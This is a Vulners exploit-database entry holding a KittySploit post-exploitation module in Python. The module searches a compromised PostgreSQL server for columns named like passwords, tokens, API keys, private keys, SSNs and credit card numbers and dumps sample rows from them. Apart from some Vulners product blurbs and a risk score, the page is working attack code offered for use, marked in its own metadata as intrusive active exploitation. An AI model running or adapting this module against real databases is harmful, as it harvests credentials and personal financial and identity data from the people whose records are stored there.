Lucene search
+L

Search PostgreSQL Sensitive Data

🗓️ 26 May 2026 19:29:07Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

KittySploit PostgreSQL client finds columns containing secrets and dumps sample rows.

Refs
Code
from kittysploit import *
from lib.protocols.postgresql.postgresql_client import PostgreSQLClient


class Module(Post, PostgreSQLClient):

	__info__ = {
		"name": "Search PostgreSQL Sensitive Data",
		"description": (
			"Find columns likely to hold secrets (password, token, api_key, etc.) "
			"and optionally dump a few sample rows"
		),
		"author": "KittySploit Team",
		"session_type": SessionType.POSTGRESQL,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': [],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [{'capability': 'db_access', 'from_detail': ''}],
	     'consumes_capabilities': [],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}

	KEYWORDS = OptString(
		"password,passwd,secret,token,api_key,apikey,credential,private_key,ssn,credit_card",
		"Comma-separated column name keywords",
		False,
	)
	schema = OptString("", "Limit to schema (empty = all user schemas)", False)
	sample_rows = OptInteger(3, "Sample rows per matching column (0 = names only)", False)
	max_tables = OptInteger(25, "Max tables to sample", False)

	def run(self):
		try:
			keywords = [
				k.strip().lower()
				for k in str(self.KEYWORDS or "").split(",")
				if k.strip()
			]
			if not keywords:
				raise ProcedureError(
					FailureType.ConfigurationError, "At least one keyword is required"
				)

			schema_filter = str(self.schema).strip() if self.schema else ""
			limit = max(0, int(self.sample_rows) if self.sample_rows is not None else 0)
			max_tables = max(1, int(self.max_tables) if self.max_tables is not None else 25)

			print_status(f"Searching columns matching: {', '.join(keywords)}")
			matches = self._find_columns(keywords, schema_filter)
			if not matches:
				print_warning("No matching columns found")
				return True

			print_success(f"Found {len(matches)} matching column(s):")
			for schema_name, table_name, column_name, dtype in matches:
				print_info(f"  {schema_name}.{table_name}.{column_name} ({dtype})")

			if limit <= 0:
				return True

			print_info("-" * 80)
			print_status(f"Sampling up to {max_tables} table(s)")
			sampled = 0
			for schema_name, table_name, column_name, _dtype in matches:
				if sampled >= max_tables:
					break
				if not self._can_select(schema_name, table_name):
					print_warning(f"  Skip {schema_name}.{table_name} (no SELECT)")
					continue
				sampled += 1
				self._sample_column(schema_name, table_name, column_name, limit)

			return True
		except ProcedureError:
			raise
		except Exception as exc:
			raise ProcedureError(
				FailureType.Unknown, f"Sensitive data search failed: {exc}"
			)

	def _find_columns(self, keywords, schema_filter: str):
		conditions = " OR ".join(["LOWER(column_name) LIKE %s"] * len(keywords))
		params = [f"%{kw}%" for kw in keywords]
		query = (
			"SELECT table_schema, table_name, column_name, data_type "
			"FROM information_schema.columns "
			f"WHERE ({conditions}) "
			"AND table_schema NOT IN ('pg_catalog', 'information_schema') "
		)
		if schema_filter:
			query += "AND table_schema = %s "
			params.append(schema_filter)
		query += "ORDER BY table_schema, table_name, column_name;"
		return self.execute_query(query, tuple(params))

	def _can_select(self, schema: str, table: str) -> bool:
		try:
			rows = self.execute_query(
				"SELECT has_table_privilege(%s, 'SELECT');",
				(f"{schema}.{table}",),
				fetch_all=False,
			)
			return bool(rows and rows[0])
		except Exception:
			return False

	def _sample_column(self, schema: str, table: str, column: str, limit: int):
		quoted = f'"{schema}"."{table}"'
		col = f'"{column}"'
		try:
			rows = self.execute_query(
				f"SELECT {col} FROM {quoted} "
				f"WHERE {col} IS NOT NULL LIMIT %s;",
				(limit,),
			)
		except Exception as exc:
			print_warning(f"  {schema}.{table}.{column}: {exc}")
			return

		if not rows:
			print_info(f"  {schema}.{table}.{column}: (empty)")
			return

		print_info(f"  {schema}.{table}.{column} samples:")
		for row in rows:
			value = row[0]
			text = str(value)
			if len(text) > 120:
				text = text[:117] + "..."
			print_info(f"    {text}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
1